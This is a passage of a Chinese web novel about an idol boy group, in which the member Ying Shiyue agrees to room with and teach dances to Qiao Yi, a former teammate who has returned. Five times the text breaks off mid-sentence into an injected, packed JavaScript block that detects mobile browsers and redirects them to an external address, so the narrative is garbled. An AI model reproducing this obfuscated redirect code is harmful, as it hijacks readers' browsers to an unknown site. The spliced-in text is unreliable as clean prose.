《养成系男团复婚指南》 7. 黑名单 十月: 【还没有,我现在方便说话】 应时月直起身,点开对话框回复,并预判了对方的下一个问题——事实上他甚至能猜出来何姐找他聊什么,无非就是三件事,关于宿舍、关于L队下任队长、或者关于乔亦。 而下一秒,果不其然,何乐就拨了个微信电话进来。 “十月,想好新室友了吗?” 对方开门见山,让应时月刚刚在脑子里想的开口措辞都没用上。 “还没呢,”于是他回话,“还有一个月才搬,在此之前我肯定能找到合适室友的,问题不大。” 但其实有点难。应时月心想。 除选拔组外,大多数成员都住双人间,室友的选择已经确定了下来。去年选拔组今年掉出前14的有三个人,剩下两人都不是L队成员,和应时月也不太熟。 Link这个团人多,成员与粉圈关系近,好些人一天能在fanclub发上几十上百条消息,一周能直播好几次,因此成员之间发生在明面上的事很少能成为秘密。 室友的选择结果更是如此——链团无数大势cp都是室友组,许多室友关系的调动都会在粉圈引发各种无法预知的讨论。 应时月当然可以被讨论。但他不确定另一位未来室友是否毫不介意。 毕竟现在是乔亦刚回来、他刚掉选拔的,这样一个敏感的时期。 不过,比起在新人、落单的人和排名下降的队友中选取,倒是还有一个……应时月很难说是好是坏的选项。 果然,何乐说出他预想之中的发言:“那你觉得安排你去和乔亦住怎么样——他也要回归L队,他已经错过四年的发展了,需要一个人帮他重新适应。” “……这么直白吗,何姐,”应时月发出一声苦笑,“我不觉得他的能力需要我帮他适应什么。况且我对如今的他一无所知,可能了解还不如您了解多——人都是会变的,您又怎么确定我们还能顺利相处呢?” “其实……” “但是没关系,”如果是换成前几年的他,应时月肯定会满口拒绝,即使是换成前几天的他,他也会犹豫一会,但如今,刚刚下定决心要明年争取一个好排名的应时月、也可以做出不那么像自己的选择,“即使是这样,我也可以接受。” 对面突然安静了片刻。估计是何乐也没预料到会得到一个如此果断的答案。 “不过。”应时月停顿了几秒,接着又开口,“我还有条件。” “十月你明白吗,你这话一出,我终于有种‘世界重回正常’的感觉了,”何乐听完居然松了口气,“你说。” “这件事是公司的决定,”应时月说,“不是我的决定,对外这么说,可以吗?” “完了,我突然感觉,世界重回正常到有些过头了,”何乐居然开了个玩笑,“不过这本来也是公司的决定——只是我很好奇,在你心中,一个自然而然的双向选择,难道不如被公司强迫着做一些意味不明的事情吗?” “双向选择,然后呢?”应时月说,“我们就得沿着这个剧本演下去,被迫‘和好’,然后假装这四年没有发生过——这是一个什么故事?我又被放在一个什么位置上?” “姐姐,我可以接受这个决定,但我无法保证在此之后,我和乔亦的人际关系会沿着公司期待的路径走下去——我有我自己的想法,也有我自己的主观能动性,就算是愿意承担话题度,代价也不能是让我自己变得不自洽,对吧?” 对方又陷入了片刻沉默,大概是很久没见应时月在直播和舞台以外一次性说这么多字。 “那——我很好奇,在这件事里,你更在意故事,还是更在意你自由行使你的个人意愿?”何乐想了想,才开口问,“这是我自己的提问,不从L队负责人的视角出发,所以你可以不答。” “您都这么说了,那我选择不答,”应时月轻轻笑了一声,“何姐,我已经说过了,我现在对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532563|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的了解并不比你多。” “你很矛盾,”于是何乐直指核心,“不过年轻人理应矛盾——既然事情已经说好,那就皆大欢喜,无论如何,祝你明年好运,早点休息?” “姐姐,你不也是年轻人,”应时月又笑了一声,“谢谢祝福,也祝您接下来一年工作顺利——” “快别说你这客套话了,”何乐的声音中弥散着隔着网线都无法消散的无语,“你们不添麻烦我工作就顺利——再见,我挂了——” 听筒里的声音骤然终止。 应时月的“晚安”两个字卡在喉咙里还没说出口。 他摇了摇头,顿在原地坐了几十秒,这才又平躺回床上,开始思考。 何乐刚刚的话里,提到了“自然而然的双向选择”几个字。 乔亦刚见过何乐——所以是乔亦提出了这件事,还是何乐提出了这件事、且乔亦欣然接受? 应时月猜测是前者。 这种猜测毫无来由,但他总觉得是正确答案。 诚如他所说,他对于现在的乔亦并不了解,但曾经四年的认知依旧无法被抹去——他的第一反应依旧是用曾经的对方的形象来对这个人加以解释,即使这种判断并不那么理性。 多数情况下,应时月不是一个果断的人,也不是一个主动的人。 而乔亦与他某种意义上正相反,这个人很多时候都过于主动,行动力极强,想到什么就会做,以至于被许多认识的人评价为“过于活泼”。 但断掉的四年联系,又让应时月不由得怀疑这份判断究竟是否还有时效性,即使他真的有不能联系的理由,那此刻呢——没想到,正想到这里,他的手机屏幕就再次亮起。 应时月伸手摸到手机,睁开眼看。 这次进来的是一条短信,发件人是一个未知的号码。 【可以把我从微信黑名单拉出来一下吗?01】 应时月这才突然想起被他遗忘掉的事。 8. 代理队长 早在三年前,应时月就拉黑了乔亦的微信账号。 其实在乔亦刚消失的时候,应时月还会时不时给那个账号发消息——虽然明知得不到任何回复。 后来有次被喻疏一看到了,这人评价说,小月你这简直像卖cp把自己卖进去了一样。 “我没有卖cp。”应时月指正,“粉丝要嗑是她们的事,我们没有引导,也没有不允许,只是正常社交而已。” “这个世界上绝大多数人际关系都会走向终结,分散是友谊的必然结局,有结束的就会有新开始的,”喻疏一没有再回应应时月的话,而是另起话题,“学会断舍离才会更轻松地向前走,对人对物都一样。” 应时月那天沉默了很久,久到喻疏一大概都觉得他不会说话了——然后突然重新点进那个熟悉的对话框,毅然决然般删除了所有聊天记录,最后将账号拉入了黑名单。 “……你说得对,”他说,“学会断舍离才会更轻松地向前走。” ——当然,意识到喻疏一也做不到这点,已经是在这人退团后了。 喻疏一最后连L队大群都没舍得退,时不时顶着12小时时差早起水群,群里没消息就找他们私聊,消失在现实生活中,却始终活在互联网世界里。 倒是自那之后,乔亦的微信账号就一直躺在应时月的黑名单里,再没有被他拉出来过。 * 接到这条短信后,应时月足足犹豫了半分钟,终于叹了口气,打开微信,输入这么多年依旧没有被输入法遗忘的名字,点进账号,按下了解除黑名单。 ——既然都是队友了,总会有工作和生活上的事情要谈。 但他没想到,仅仅三秒之后,对面的消息就发了过来——就像是笃定他此刻会进行解除黑名单操作一样。 应时月突然有一种被窥探的烦躁感,没来由的。 乔亦: 【可以把队长互投的材料发我一份吗,何姐说我这一票也算】 ……应时月不知道说什么好。 消息来得很快,内容却不是他意料之中的任何一种,只是再简单不过的公事。 他说不好自己现在是什么心情,有一些如释重负,但又有种说不出的失望感。 十月: 【[互投材料.rar]】 【截止提交时间是下周五】 但既然是公事,就公事公办,应时月翻了翻L队的聊天记录,将文件转给乔亦,又想了想,补了一句。 十月: 【需要拉你回队群吗】 乔亦: 【需要!】 突如其来的感叹号,应时月能想到屏幕对面人这一刻的表情——少想一点,他又对自己默默说。 然后给对面发了个进群邀请。 至于队长互投,应时月能猜到90%以上概率是唐言当选。但他犹豫了一会,还是没将这事给乔亦说。 某种意义上,虽然应时月在直播里回怼了唐言的发言,但他也不得不承认一件事,Link确实已经到了更新换代的时候,至少L队在换代。 虽然依旧有一期生在当队长,比如I队的陆语心,但L队这次的队长互投,就完全是新生代的战场。 Link这个团并没有全团队长的说法,只有四个队各自的队长。队长主要协助完成团内演出和人员统筹,也算是典型费力、不一定讨好但有实权的岗位。 L队第一任队长乔亦消失后,接任队长的是四期生纪荇和——他一直当了四年,是队里在任时间最长的队长。但他这学期大三,刚好在国外交换,直接申报了半年偶像活动暂休,也不可能再远程负责L队各种事项。 因此临行前干脆就辞掉了队长职位。 L队于是需要新队长。大家达成共识,在总选后互投决定,想报名的整理报名资料,并汇总好提前发放给各位队内成员。 ——至于由谁来汇总整理,所有人在群里摇了几轮骰子,最终人选就成了连续摇了三个6的应时月。 运气总是出现在了一些不该出现的地方。应时月心想,然后在队里小后辈们的玩笑劝说下,又被迫接下了一个月代理队长的职责。 因此乔亦找他倒也情有可原。 只是你就没有别的想说的吗? 应时月一边想,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532564|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无意识切出了聊天框,然后被队群五分钟99+吓了一跳。 ——他这才想起乔亦回来的消息目前尚未在队里官宣,大部分人对这件事的态度依旧停留在吃瓜层面。 结果他顺手一拉,反而算是变相在L队证实了这事。 第一个发现这条消息的还是明宸,非常简单地打了个问号。 接着给他私聊了一句。 明宸: 【说好的现在不熟呢,我真信了】 应时月给他回复。 十月: 【……刚刚才重新成为好友,你想多了】 而在明宸带头之后,大家就开始刷屏发问号,连群里两个大概刚起床的时差党都开始凑热闹起来。 刷屏一会又转成了大召唤术。应时月看着群里一大片由几位同他最熟的人带起来的、一连串【@十月@01】的消息,不由得有些笑不出来。 应时月: 【事情就如大家所见,是我操作失误,还要麻烦大家在何姐宣布前暂时保密,非常感谢XD】 唯一的安慰是这起码是纯成员群,没有staff见证他提前透露“惊喜”一事。 而乔亦比他晚了几秒发消息。 乔亦: 【各位好久不见的旧朋友和接下来会初次见面新朋友大家晚上好~】 【接下来会回到L队继续做偶像,以前的事我会慢慢解释的,目前就暂时多多指教!】 【大概明天在团内宣布,两天后对外官宣】 【在此之前,还请麻烦大家帮十月保密一下,鞠躬感谢!】 在此之后,队群里的喧闹过了小半个小时才逐渐归于平静。 其间,应时月又陆陆续续回了一些私聊,来自喻疏一的、来自纪荇和的、还有来自不知道从哪得到消息的贺景然的。 只是乔亦的那个对话框没有再度出现数字过,仿佛今晚找自己的唯一目的真的只是要一份材料——连拉群都是应时月错误的自作主张。 应时月心情复杂。 但再复杂的思绪也抵不过困意,于是他最终还是捏着手机,在不知不觉中睡了过去。 9. 二选MV 总选第二天是答谢握手会,接着就是一个至少三天的休假——如果排名靠后没有外务,那还能再多几天。 成员们大多会趁着这个时间回家,或者是躺在基地休整——毕竟他们这一行严格意义上是很少有假期的,看上去每周只有一天或者两天公演,实际上大多数时间都必须花在练习室中、或者营业的路上。 但应时月并没有。如今他没有家可以回,也不太需要休息。过往四年里,靠着一边在top2工科专业里保持不挂科,一边在Link全勤公演,应时月早已练就了进化掉休息的本领。 如今他毕业了,两件事少了一件事,于是只用排练的每天都算是在休息。 ——应时月还记得明宸第一次听到这个发言时惊恐的表情,这人停顿好几秒,才问了一句你是不是要变成神仙了。 “还早,”应时月说,“我还没完全进化掉睡眠。” “你是在开玩笑的是吧?”明宸睁大眼问。 总而言之,在总选后的第三天一早,应时月便骑车来到了公司基地的练习室。 ——实际上Link总部就在他们隔壁街。无论是到现在的住宿楼,还是到下个月的新楼,走路大概都只需要十分钟不到。但应时月是坚定的能骑车就不走路派,就算只有一分钟的路程,也日常骑着他的御用电动车来来回回,所以追线下的粉丝基本都认识他的车。 这车本来是街上随处可见的烂大街的款式,也不太贵,毕竟当初应时月的工资都留给家人治病了,买不起贵的。但标志性的是漂亮的金色涂装——这是应时月专门按照他应援色RGB调的喷漆,自己一点点涂装上去的。此外,车尾有串很飘逸的黑色“Oct.”字母,“十月”的简写。 这倒不是应时月自己的手笔,而是几年前,写字更好看的乔亦帮他喷上去的。 这车是刚入团时买的,用了八年还很健康,已经远远超出了这个普通款式的平均使用寿命。以前,应时月会定期给它重新喷漆,然后让乔亦重新写那三个字母;后来没人再帮他写,应时月在翻新涂装时就会小心翼翼避开那一片。 ——出于各种奇怪的心理。 * 正常来说,从宿舍到公司基地的这条路上,一般很难遇到成规模的粉丝,最多只是偶遇,然后被单方面拍照——在Link,合照和签名都有对应的合照券和签名券,价格不贵,但因为是付费项目,所以他们在街上并不能无所顾忌地和粉丝互动。 就算是想见到偶像,大多数人也只会选择在公演日去剧场蹲守,毕竟这才能保证自担一定会去——事实上,这一行为的必要性也不强,因为Link每周都有公演,公演的剧场也并不大,还有握手会等活动,本来就是主打近距离偶像体验的团体。 况且他们也不算特别红,更接近娱乐圈边缘的小圈子。 但意料之外,今天公司门口居然围了不少人。 应时月一转弯,远远看到人群,心生警惕,于是非常难得地将车停在了三百米开外,准备走路从后门进楼——然后一边走一边疑惑于今天发生了什么事。 他的第一反应是Link被粉丝挖出来总选做票——会产生这样的想法倒也不怪他。 上半年有个男团选秀节目在国内大火,本质都是同行,Link这群偶像平日里当然也聚众观看。选秀过程一切正常,结果决赛夜的排名出乎所有人意料,再过了两个月,也就是上周,终于有那家视频网站的员工通过媒体爆料决赛夜做票真相,这事闹得沸沸扬扬,身处圈内,想不知道都难。 但公司总不至于在这时候顶风作案吧?应时月又想。 他低头打开手机,点开论坛的链团专组,跳到“数据”区——确实没发现任何问题。 ……那可能就只有一个了。 他点回论坛首页,果然找到了他想找的帖子。 【主题】有人看一哥昨晚直播吗,是明示乔帝回归吗 rt,原话:“最近会来一位我很期待的新队友,听说他明天就会去公司报到,感觉未来的L队会更有意思呢。” 视频:[20230924直播-唐言录屏组] 3L 是吧,这就差点名了 5L 实话说这事也不用一哥爆料,从乔帝出现在总选大屏幕上的那一刻开始就算锤了吧 8L 那倒也没有,那也可以解释成他只是回来看看总选,然后拿了赠票卖一下情(c)怀(p) 就算不回来做偶像也可能出现在Link,但一哥这话一出就算彻底确认了 13L 两天过去了我还没消化完这件事… 好离谱啊,没想到我死去的前推居然有复活的一天 16L 或许有人在意,这不仅是明示乔帝回归,还明示了回L队 怎么说,11是要活了吗?无论如何MC肯定会有互动的 19L 11当然要活了,就算他们本人be了也要相信狗公司会把他俩拖出来炒作 总选直播的分镜还不明白吗,前美帝这波热度公司是吃定了,毕竟你团唯一的出圈cp 昨晚,何乐在Link大群里宣布了乔亦回归的消息,引发了那个100多人大群的激烈讨论。 Link人多,成员不仅能直播,还能用fanclub和粉丝私聊,九十多个人基本不可能真正保守住这件事——公司当然也懂。说是明天再官宣,实际上这两天已经在放消息造势了。 毕竟是曾经的总选第二,链团白月光,前美帝的一方,乔亦身上有的是流量,当然其中多少必须捆绑应时月才有效也不得而知。 应时月对这件事倒是接受良好,毕竟是不需要本人努力就能自然出现的热度。 不要白不要。 但他没想到带头曝光这件事的居然是刚成为总选第一的唐言——无论如何,这人想要热度的心也太明确了一点,虽然应时月也提乔亦,但他起码是被弹幕问出来的,而唐言纯粹是自己莫名其妙开的口。 应时月和唐言虽然都在L队,但关系一直很平淡,工作时相处还算融洽,私下对方倒是少有和他没什么来往的队友,所以应时月也不知道他的想法。 应时月一边想,一边乘电梯上了七楼。然后从窗户向下看,果然看到下方蹲守粉丝都带着浅蓝色应援物— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532565|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —这是乔亦曾经的应援色。 乔亦此刻应该确实和他在一栋楼里,应时月想,对方今天要来总部办手续。 应时月抬了抬头,似乎想要视线能穿透到十二层的负责人办公室,看到那个熟悉的身影——但只能看到天花板。 于是他不再多想,转身打开了L队公用练习室的门。 果不其然,空无一人,毕竟队里比他努力的人并不多见。 * 应时月是来录一些舞蹈cover的,因此还自带了摄像设备——这是他曾经答应粉丝的事。 总选前有次直播让粉丝点希望看到他跳的歌,应时月挑了其中出现频次比较高的十几首,说接下来一两个月会慢慢挨个翻跳。 其中有些比较经典出名的男团歌,也有些新出的、或者应时月视角看来比较小众的,需要慢慢学——他现在有一段充裕的时间,就准备从这些不熟的开始。 于是应时月做了点准备活动,就将手机线连上了大屏幕。 然后原地跳了跳,开始跟着视频活动。 他记动作并不慢,早些年被骂跳舞不行也是一些“感觉不够”,而并不是态度不端正。 应时月从小就在农村长大,家里条件也很差,十四岁之前,所谓的歌舞艺术于他而言,都只不过是村里祖传的陈旧语文课本上某篇课文里提到的传说——后来公司帮忙让他转学去城里上初三,应时月才后知后觉知道,原来那套课本早在十几年前就被淘汰了,原来城里的小孩从小就有音乐课、有兴趣班。 ——虽说初三那年的非中考课程已然被正课无情占据。直到高一,应时月才第一次在学校上音乐课。 但总之,想让那样一个应时月一夜之间领会“如何跳舞好看”,这件事还是过于困难了一些。 但八年后的应时月早就对此驾轻就熟。 一上午的时间在排练中悄然过去。 应时月下到二楼吃了个饭,又重新搭电梯回到七楼,准备开始录制第一段cover。 只是还没走到L队练习室,他就听见里面传来了音乐声。 前奏是熟悉到不能再熟悉的曲子。应时月没第一时间推门,而是站在走廊上,透过窗户向内看。 被投影的屏幕上此刻出现的是一个面部特写。 屏幕上的少年人带着金色的皇冠,坐在象征最高地位的王座上。他神色慵懒中带着一丝凛冽,浅金色的瞳孔抬眼注视着镜头的方向——视线似乎能够穿透屏幕,与外界的观看者相接触。 一个美丽、精致而庄重的图景——如果图像上不是十八岁的他本人的话,应时月八成会如此评价。 但他现在只感觉到社死——有人在看二选选拔组那首歌、也是应时月在Link八年唯一一次当C位的歌,的MV。 应时月深吸一口气,向前走两步,做好心理准备,在画面切向下一个人时,才终于推开了练习室的大门。 ——然后更加猝不及防,与此刻大屏幕上那位的真人版,来了个非常直接的对视。 “果然你会出现在这里,”乔亦屈腿坐在墙边,此刻仰起头,看向门口的应时月,语气上扬,“——中午好啊。” 10. MC之神 应时月向后伸手,轻轻一推——练习室的门应声而闭。 然后他靠在门上,不说话,只是轻轻抬了抬下巴,示意对面继续。 “看起来你不太想回我一句客套的问好,”乔亦眨了眨眼,终于是笑了出来,“我理解,小月哥哥——如果换成我,被朋友莫名其妙单方面断联的话,我也会很生气的。” 应时月一时有些失语。 他想说,当初的事真的可以被简单总结为“单方面断联”五个字吗,但话到嘴边,又骤然停住。 他感觉自己问不出口。 因为乔亦说得对,事情就是这么简单。 所谓的抛弃L队、所谓的从观众面前队友面前消失,这些本质上只是后来应时月为乔亦的行为所扣上的标签——或者更准确地说,他接受的、外界给乔亦的行为扣上的标签。 ——但他也不得不承认,他自己从不在意乔亦对这个队伍有什么意义。 他在意的只是自己没有成为这件事里的“例外”。 “但我现在并不太能做完整的解释——非常对不起,”没想到乔亦又说,“所以先说点当前的事可以吗?我们是下下周恢复公演对吧,今天上午我和何姐聊过了,她的意思是,我现在先上一半的大歌,站位大概在10号前后,根据每次具体的安排前后调动。” “……挺合理的。”应时月终于说出了在这个场合下的第一句话——却又是他意料之外的、普普通通的公事发言。 * 除了常规的引入、落幕致意等环节外,Link一场公演的正式表演环节包含十首左右的大歌、五六首unit曲,中间穿插几次MC环节。 顾名思义,大歌就是一群人的唱跳表演——准确说来是14人曲,走位很简单,大多数时候是齐舞;unit是表演人数更少的曲子,一般一首歌是1到5人表演,有纯站桩、纯舞蹈和唱跳结合的模式,也有剧情向舞台;MC就是传统的讲话和游戏环节。 而算上乔亦、不算纪荇和,L队下半年总共有23个现役偶像。即使是大家有各自的学业或外务,往往同一时间在基地的只有不到20人,也超过了14人的大歌人数上限。 因此,要么有人不能上,要么有一些人不能上全场——L队向来的准则都是能上的人全员上公演,排名高的优先选unit,上几乎所有大歌,站靠前的站位;排名低的则交替上unit,然后每人上几首大歌。 而乔亦六选没有排名。 按理来说,没有排名就默认为最低排名。但链团粉往往长情,乔亦的粉丝基础还在,应该过不久就会重建粉圈,届时再当他是最低排名,合乎情理,但也一定会起节奏。 因此公司的策略是把他站位往前推一点——但推得不算多,站位10号位上下,大概是一个能让所有人接受的位置。 况且无论是哪家粉丝,只要四年前在搞链团就知道,乔亦最大的作用也不在这里。 一般来说,一个队一套公演会用一到两年——同一套公演中的所有曲目都是固定的,即使可以换人、换妆造,但也不会变得面目全非。 也就是说,在这么长的不换公演的时间里,最能灵活变动的只有MC部分,公演场场不落的观众看到最后最在意的也是MC部分。 但L队的MC近年来却一直被诟病。 L队早年的MC实力其实挺强。早期粉丝往往嘲他们队整体歌舞实力不行,吸粉全是MC的功劳——那时Link成员只有二三十人,还不是分队公演的模式,分队的作用主要是方便活动或者外务安排。 而那时候,就有唱歌看I队,跳舞看NK队,MC全靠L队的说法。 十几个人站在台上进行MC环节的时候,往往都是L队的成员在负责串台、控场、玩梗抛梗和引发新话题。当时他们队节奏就没断过,毕竟说话这事就是多说多错,话说多了总会被找到开团角度,不互动是冷淡,互动是麦麸,说好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532566|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话是阴阳怪气,说不好的话是嘲讽队友。 L队那时整体人气最高,粉圈一个个恨不得拿出高考阅读理解的功力,来评价一群大部分还没考高考的未成年人的发言。 第一次起大规模节奏的时候,队里大部分成员的心情都不太好,还是时任队长乔亦花了一笔钱请L队全员去夜间游乐场玩了一整晚作为安慰,大家才逐渐忘了这件事。 而到后来,L队几乎所有人都对身处大节奏中心的感觉习以为常。无论是非对错,无论褒贬,总归是突出一个不受影响。 当然,倒也不是L队每个人都精通于MC——应时月本人就不太擅长。但都是朝夕相处的队友,彼此很熟悉,大家抛出来的梗他都能接上,有这点就足够了。 真正的MC高手还得是喻疏一、贺景然和乔亦——尤其是乔亦,链团MC环节的定海神针,控场之神,永远不冷场、永远不抛锚的传奇角色。 而随着这三人的离队,L队MC环节逐渐后继无人,开始变得混乱而无趣——前者如果是应时月在台上,还能记得稍微拉回一下重心,但后者是真没救。 明宸比他好一点,但擅长的也是锦上添花的活,而非平地起高楼。况且明宸在电影学院读书,演技挺好,这两年也时不时在外拍戏,公演出席率并不高。 至于后辈们,比如唐言、纪荇和这样的,都是自己直播效果好,但台上控不太住场。前队长和未来队长都如此,更不用说其他人了。 而乔亦的回归,显而易见是能解这燃眉之急的。 “我听说新公演是五月换的,大家都跳了半年了,”眼下,乔亦倒是并没有提到MC安排,而是继续说歌舞的事,“我之前没看过这版公演,还不太熟,所以来看看视频,想提前学一下。” “……你不会想说你点新公演视频能手误点到二选MV吧?” 在始终没停下来的背景音乐中,应时月终于是忍不住了,偏头看了眼背后的大屏幕。 11. 舞蹈教学 “放完之后给我推荐了这个MV,接着就自动播放了,”乔亦解释,顿了顿又仿佛试探性开口,“总觉得有种时间过得很快、什么都变了的感觉……明明体感上没多久,这就四年了。” 应时月突然想起,这个MV拍摄于四年前的十一月初,那应该是乔亦走之前录的最后一首歌。 但他显然并不是很吃这人突如其来且没头没尾的抒情——甚至于有些烦躁。 于是应时月深呼吸,压下心中的情绪,然后没好气地说:“是啊,什么都变了,我已经进不去选拔组了……这么回答可以了吗?” “不是,你……我没有想说这些的意思。”乔亦似乎是没预料到应时月的突然发作,非常苍白地解释一句,然后迟迟说不出下一句。 应时月咬了咬嘴唇,动作很轻,然后也不开口。 事实上他也不知道自己怎么不经大脑般说出这么一句发言的,整句话出现在这里堪称前言不搭后语,或许比起表达真实的自己在想什么,自己潜意识里只是想要和乔亦唱个反调? 或许是。 毕竟人的行为并非总是受理性控制。就算知道如今应该正常沟通,但来自心底深处的某种声音却在不断叫嚣着“不要如此”,在不断说着“如果就这么平平无奇地重归于好,那过去的四年的自己又算什么呢”。 如此的话语侵占着应时月的大脑,让他本能般抵抗好好说话这件事。 但应时月也不得不承认,乔亦了解他,就像他了解对方一样。说着“什么都变了”的人在下一刻却好像什么都没变,空气沉默十五秒,然后意料之中,乔亦恢复他的正常表情。 “……不过如果你一定要说排名,七选,或者八选,我一定会让你重新回到总选第一的——那些人不给你投票是他们的问题,不是你的问题,”他说,然后在应时月失控片刻的表情中,非常云淡风轻地切开话题,“先不说这些,我现在需要速成大歌,能找你教学吗,代理队长?” 应时月很想问一句“你现在说这种话是什么意思”,但潜意识里的逆反因子又一次占据上风,让他硬生生将这句话收了回去,装作什么都没听见。 只是后一个请求他确实不会拒绝——乔亦也知道他不会拒绝,所以才能如此光明正大般提出。 “你现在会多少?”于是应时月问。 乔亦一听这话,瞬间神色轻松下来,嘴角上扬——仿佛计划得逞一般,然后右手撑着地板飞快站起身,向着应时月走近两步:“我刚刚已经跟着跳了一遍了,现在动作已经全记住了,要不我给你跳一下?” 语速难得地很快,似乎生怕应时月下一秒就要撤回提问一样。 不过应时月确实不会撤回,毕竟这是关乎L队舞台效果的事,四舍五入就是他分内的工作——当然,如果这话说出去,他粉丝肯定又要说“十月你不要给自己乱揽职责”,但应时月向来习惯如此。 只是他也没有很客气:“意思就是什么都不会咯?你还是别跳了,我知道了。” 乔亦如同被戳穿般,露出了一个有点勉强又有点尴尬的笑:“我会努力学啦……你放心,不会占用你过多时间的。” “我又不是不知道你什么水平。”应时月叹气,“倒也不用这么说。” 如果换成明宸说“动作全记住了”,那可以说代表着他已经会了,能上舞台了。但说这话的人是乔亦,那将没有任何效力——乔亦的观察力和记忆力好到一种让人觉得恐怖的程度,以前L队练舞的时候,全队对着镜子过一遍,他就能指出几乎所有人的问题。 但上帝给人开一扇门的时候,往往会关上一扇窗,乔亦被关上的窗,就是僵硬的四肢和几乎不存在的协调能力。 ——一个对传统唱跳偶像来说堪称致命、但对人设为重的链团养成系偶像来说还能被谅解的,一个问题。 当然被骂舞蹈废物是不可避免的,不过节奏那么多,也不缺这一条。况且在乔亦被骂舞蹈废物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532567|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些年里,应时月也逃不开这个tag,只是两人的废物程度还不一样。 应时月是跳舞没“感觉”,照本宣科;乔亦是只有感觉,甚至对着镜子知道自己哪里不对,但一上手就一片混乱。 “你手指不能直着下去啊,”应时月一边掰着乔亦的右手,一边说,“在手臂从下往上的这个过程中手指是弯曲到展开的,然后同时脚步交叉,注意弧度,从四肢到手指都不要这么直——算了,我带着你来一遍吧。” ——指望这人一边看一边学就不现实。唯一的办法就是直接上手带着他走肢体动作,反复重复,直到这些逐渐变成肢体记忆,然后再放手。 他们当年就是这么练的。几个人轮流带着乔亦练舞,非常费事,但当时一群十五六岁的少年人还算乐在其中。 应时月也是其中的一份子——准确说来是出力最多的一份子。虽说他自己舞蹈也被说不行,但他这种照本宣科的水准放在乔亦这倒是刚刚好合适。 队里每次换公演、或者每次出新歌,他们都会在练习室里连着熬夜好多天一起排练——虽然排练后的结果依旧不能让观众彻底满意,但如果粉丝们见过这些过程的痛苦,那一定会大夸特夸他们的努力。 只是无论是应时月还是乔亦都不爱宣扬努力。在MC上在直播里什么都会说什么都敢说的人,却始终会避开“我私下做了多少”这样的话题。 毕竟是偶像。 应时月一边零零散散地回忆过去,一边拉着乔亦过他再熟悉不过的动作——接着看着自己刚松手就缓慢恢复僵硬原状的乔亦的手指,叹了口气。 “先休息两分钟再继续。” 乔亦垂眸看着刚刚被捏住的手指,好几秒不说话——然后突然蹲在地上,大笑了起来。 “你又在笑什么?”应时月皱眉。 “……我在想,”乔亦停下笑声,抬起头,直直地注视着应时月的瞳孔,“工作状态的你真是一点也没变啊。” 12. 回归官宣 应时月欲言又止,止言又欲,最后终于想到了回应:“你还知道是工作时间啊?” “这不是你说的休息两分钟嘛?”乔亦辩解一句,见应时月表情微妙,终于败下阵来,“……好啦好啦,我不乱说话啦,在你想听我说有些话之前,我都不会再说了——所以,现在能给个重新好好当普通队友的机会吗,小月哥哥?” “乔亦。” “嗯?” “我承认你真的很了解我,”应时月想了想,最后说,“但是,能不能不要总是用这份了解来试探我?” “……对不起,”乔亦沉默,沉默到最后又说出一句道歉,“我总感觉这几天总在和你说对不起。” 应时月发言比大脑转动快:“那是因为你本来就对不起我。” “你说得对,我确实对不起你,”没想到乔亦一听又笑了起来,而且居然还肉眼可见是真的很开心,“是对不起你,而不是对不起L队、对不起粉丝,或者对不起我自己——看起来……算了,我不说了。” 但应时月知道他想说的是什么,并且对此做不出任何有效的反驳。 